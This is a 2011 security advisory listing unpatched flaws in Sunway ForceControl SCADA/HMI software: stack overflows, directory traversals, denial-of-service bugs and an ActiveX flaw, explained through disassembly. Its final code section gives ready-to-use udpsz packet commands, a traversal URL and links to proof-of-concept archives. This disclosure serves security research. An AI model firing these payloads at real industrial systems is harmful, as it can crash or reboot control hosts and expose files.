sunway ForceControl 6.1 sp3 – Multiple Vulnerabilities
####################################################################### Luigi Auriemma Application: Sunway ForceControl http://www.sunwayland.com.cn/pro.asp Versions: <= 6.1 sp3 with AngelServer and WebServer updated Platforms: Windows Bugs: various stack overflows directory traversals third party ActiveX code execution various Denials of Service Exploitation: remote Date: 22 Sep 2011 Author: Luigi Auriemma e-mail: aluigi@autistici.org web: aluigi.org ####################################################################### 1) Introduction 2) Bugs 3) The Code 4) Fix ####################################################################### =============== 1) Introduction =============== ForceControl is a chinese SCADA/HMI software. ####################################################################### ======= 2) Bugs ======= ----------------------------- A] AngelServer stack overflow ----------------------------- Signed comparison in packet 8 of AngelServer that leads to a stack overflow: 004022E1 > B9 19000000 MOV ECX,19 004022E6 . 33C0 XOR EAX,EAX 004022E8 . 8D7C24 24 LEA EDI,DWORD PTR SS:[ESP+24] 004022EC . 83FE 64 CMP ESI,64 ; our value 004022EF . F3:AB REP STOS DWORD PTR ES:[EDI] 004022F1 . 0F8D E7000000 JGE AngelSer.004023DE ; signed 004022F7 . 8BCE MOV ECX,ESI 004022F9 . 8D75 0C LEA ESI,DWORD PTR SS:[EBP+C] 004022FC . 8BD1 MOV EDX,ECX 004022FE . 8D7C24 24 LEA EDI,DWORD PTR SS:[ESP+24] 00402302 . C1E9 02 SHR ECX,2 ; memcpy 00402305 . F3:A5 REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS:[ESI] 00402307 . 8BCA MOV ECX,EDX 00402309 . 8D4424 24 LEA EAX,DWORD PTR SS:[ESP+24] 0040230D . 83E1 03 AND ECX,3 00402310 . 50 PUSH EAX 00402311 . F3:A4 REP MOVS BYTE PTR ES:[EDI],BYTE PTR DS:[ESI] 00402313 . 8B8C24 A0000000 MOV ECX,DWORD PTR SS:[ESP+A0] 0040231A . E8 A1FDFFFF CALL AngelSer.004020C0 0040231F . E9 BA000000 JMP AngelSer.004023DE -------------------------------- B] WebServer directory traversal -------------------------------- Through the usage of a 3-dots pattern it's possible to download the files located in the disk of the project used by WebServer. -------------------------------------------- C] various Denials of Service in AngelServer -------------------------------------------- The AngelServer program is affected by various problems that lead to Denial of Service effects: - exception handler due to unallocable memory through packet 6 - invalid memory read access during memcpy through packet 6 - whole system reboot through packet 6 - endless loop during the handling of the interfaces through packet 6 - whole system reboot through packet 7 ------------------------------------- D] third party ActiveX code execution ------------------------------------- This software is bundled with the "Cell Software"'s YRWXls.ocx ActiveX component (BD9E5104-2F20-4A9F-AB14-82D558FF374E version 5.3.7.321 which is the latest) and it's affected by a vulnerability in the Login method: eax=886641aa ebx=02c55aac ecx=015ebd5c edx=886641ab esi=886641aa edi=015ebd88 eip=02c01db2 esp=015ebd10 ebp=02c867c0 iopl=0 nv up ei ng nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010286 YRWXls!DllRegisterServer+0x2ab62: 02c01db2 8a08 mov cl,byte ptr [eax] ds:0023:886641aa=?? 0:008> gn (a1c.e00): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=00000000 ebx=00000000 ecx=6ed9b6fc edx=7c8285f6 esi=00000000 edi=00000000 eip=6ed9b6fc esp=015eb948 ebp=015eb968 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246 6ed9b6fc ?? ??? No additional research has been performed on the vulnerability, anyway in my test it's necessary to load any other unsafe ActiveX component first (tested on Windows 2003). ------------------------------------- E] stack overflow in SNMP NetDBServer ------------------------------------- Stack overflow caused by the copying of data chunks in a stack buffer: 0040303A |. 66:8B40 0A MOV AX,WORD PTR DS:[EAX+A] ; chunks 0040303E |. 0FBFC0 MOVSX EAX,AX 00403041 |. 3BC7 CMP EAX,EDI 00403043 |. 0F8E AC000000 JLE SNMP_Net.004030F5 00403049 |. 894424 14 MOV DWORD PTR SS:[ESP+14],EAX 0040304D |> B9 10000000 /MOV ECX,10 00403052 |. 33C0 |XOR EAX,EAX 00403054 |. 8D7C24 2C |LEA EDI,DWORD PTR SS:[ESP+2C] 00403058 |. 83C3 02 |ADD EBX,2 0040305B |. F3:AB |REP STOS DWORD PTR ES:[EDI] 0040305D |. 8B46 2C |MOV EAX,DWORD PTR DS:[ESI+2C] 00403060 |. 43 |INC EBX 00403061 |. 8D7C24 2C |LEA EDI,DWORD PTR SS:[ESP+2C] 00403065 |. 66:8B6C18 FD |MOV BP,WORD PTR DS:[EAX+EBX-3] ; chunk num 0040306A |. 8A4C18 FF |MOV CL,BYTE PTR DS:[EAX+EBX-1] ; chunk size 0040306E |. 884C24 20 |MOV BYTE PTR SS:[ESP+20],CL 00403072 |. 8D3418 |LEA ESI,DWORD PTR DS:[EAX+EBX] 00403075 |. 8B5424 20 |MOV EDX,DWORD PTR SS:[ESP+20] 00403079 |. 81E2 FF000000 |AND EDX,0FF 0040307F |. 8BCA |MOV ECX,EDX 00403081 |. 03DA |ADD EBX,EDX ; concatenate 00403083 |. 8BC1 |MOV EAX,ECX 00403085 |. C1E9 02 |SHR ECX,2 ; memcpy 00403088 |. F3:A5 |REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS:[ESI] 0040308A |. 8BC8 |MOV ECX,EAX 0040308C |. 83E1 03 |AND ECX,3 0040308F |. F3:A4 |REP MOVS BYTE PTR ES:[EDI],BYTE PTR DS:[ESI] --------------------------------------------- F] integer stack overflow in SNMP NetDBServer --------------------------------------------- Signed 8 bit value expanded due to its sign and used in a memcpy over a stack buffer, note that also in this case the chunked data is concatenable so there is also this other way to exploit the overflow: 00402B78 |. 0FBE2C1A |MOVSX EBP,BYTE PTR DS:[EDX+EBX] ; 8bit expansion 00402B7C |. F3:AB |REP STOS DWORD PTR ES:[EDI] 00402B7E |. 8BCD |MOV ECX,EBP 00402B80 |. 43 |INC EBX 00402B81 |. 8BC1 |MOV EAX,ECX 00402B83 |. 8D7C24 20 |LEA EDI,DWORD PTR SS:[ESP+20] 00402B87 |. 8D341A |LEA ESI,DWORD PTR DS:[EDX+EBX] 00402B8A |. 03DD |ADD EBX,EBP ; concatenate 00402B8C |. C1E9 02 |SHR ECX,2 ; memcpy 00402B8F |. F3:A5 |REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS:[ESI] 00402B91 |. 8BC8 |MOV ECX,EAX 00402B93 |. 33C0 |XOR EAX,EAX 00402B95 |. 83E1 03 |AND ECX,3 00402B98 |. 43 |INC EBX 00402B99 |. F3:A4 |REP MOVS BYTE PTR ES:[EDI],BYTE PTR DS:[ESI] ...and... 00402B9B |. 0FBE6C1A FF |MOVSX EBP,BYTE PTR DS:[EDX+EBX-1] 00402BA0 |. B9 10000000 |MOV ECX,10 00402BA5 |. 8D7C24 40 |LEA EDI,DWORD PTR SS:[ESP+40] 00402BA9 |. F3:AB |REP STOS DWORD PTR ES:[EDI] 00402BAB |. 8BCD |MOV ECX,EBP 00402BAD |. 8D341A |LEA ESI,DWORD PTR DS:[EDX+EBX] 00402BB0 |. 8BD1 |MOV EDX,ECX 00402BB2 |. 8D7C24 40 |LEA EDI,DWORD PTR SS:[ESP+40] 00402BB6 |. C1E9 02 |SHR ECX,2 00402BB9 |. F3:A5 |REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS:[ESI] 00402BBB |. 8BCA |MOV ECX,EDX 00402BBD |. 8D4424 40 |LEA EAX,DWORD PTR SS:[ESP+40] 00402BC1 |. 83E1 03 |AND ECX,3 00402BC4 |. 50 |PUSH EAX 00402BC5 |. F3:A4 |REP MOVS BYTE PTR ES:[EDI],BYTE PTR DS:[ESI] ---------------------------------------- G] Denial of Service in SNMP NetDBServer ---------------------------------------- 00402A0A |> 8B4B 30 MOV ECX,DWORD PTR DS:[EBX+30] 00402A0D |. 83F9 0B CMP ECX,0B 00402A10 |. 7C 24 JL SHORT SNMP_Net.00402A36 00402A12 |. 8B5B 2C MOV EBX,DWORD PTR DS:[EBX+2C] 00402A15 |. 8B43 06 MOV EAX,DWORD PTR DS:[EBX+6] 00402A18 |. 3BC8 CMP ECX,EAX 00402A1A |. 7C 1A JL SHORT SNMP_Net.00402A36 ; signed comparison 00402A1C |. 8D5403 FE LEA EDX,DWORD PTR DS:[EBX+EAX-2] 00402A20 |. B9 A0704000 MOV ECX,SNMP_Net.004070A 00402A25 |. 5F POP EDI 00402A26 |. 5E POP ESI 00402A27 |. 66:8B02 MOV AX,WORD PTR DS:[EDX] ; invalid access ----------------------------------- H] Directory traversal in NetServer ----------------------------------- Through this server it's possible to read any file in the disk where is located the project via directory traversal. Opcodes 0x00 and 0x04 are used to open the file (the first one only adds the full project path to the name) while 0x02 is used to read and send its content with the possibility of specifying also the offset. Note that there is also a very limited heap overflow caused by some calculations performed on the offset where is possible to allocate a 0 bytes buffer for the reply packet but with only a Denial of Service effect. ####################################################################### =========== 3) The Code =========== http://aluigi.org/testz/udpsz.zip (version 0.3.3) https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/17879.zip A] udpsz -T -C "08000000 00000000 ffffffff" -b a SERVER 8800 0x400 B] http://SERVER/.../.../.../boot.ini C] udpsz -T -C "06000000 00000000 ffffffff" -b a SERVER 8800 0x400 udpsz -T -C "06000000 00000000 ffffff00" -b a SERVER 8800 0x400 udpsz -T -C "06000000 00000000 00040000" -b a SERVER 8800 0x400 udpsz -T -C "06000000 00000000 00040000" -c "2147483647," -b a SERVER 8800 0x400 udpsz -T -C "07000000 00000000 00000000" SERVER 8800 0x400 D] http://aluigi.org/poc/yrwxls_1.zip https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/17885-2.zip E] udpsz -C "eb50eb50 5300 ffff0000 0100 ffff ff" 0 -C "0d0a" -1 -b a -T SERVER 2001 0xffff F] udpsz -C "eb50eb50 5700 ffff0000 0100 ff" 0 -C "0d0a" -1 -b a -T SERVER 2001 0xffff G] udpsz -C "eb50eb50 0000 80808080" -T SERVER 2001 0xb H] udpsz -D -1 -C "8888888888888888 00010000 01000000 04000000 2e2e5c2e2e5c626f6f742e696e69" 0 -C "8888888888888888 1c000000 01000000 02000000 00000000 ffffff7f" -1 -T SERVER 2006 0x11c ####################################################################### ====== 4) Fix ====== No fix. ####################################################################### |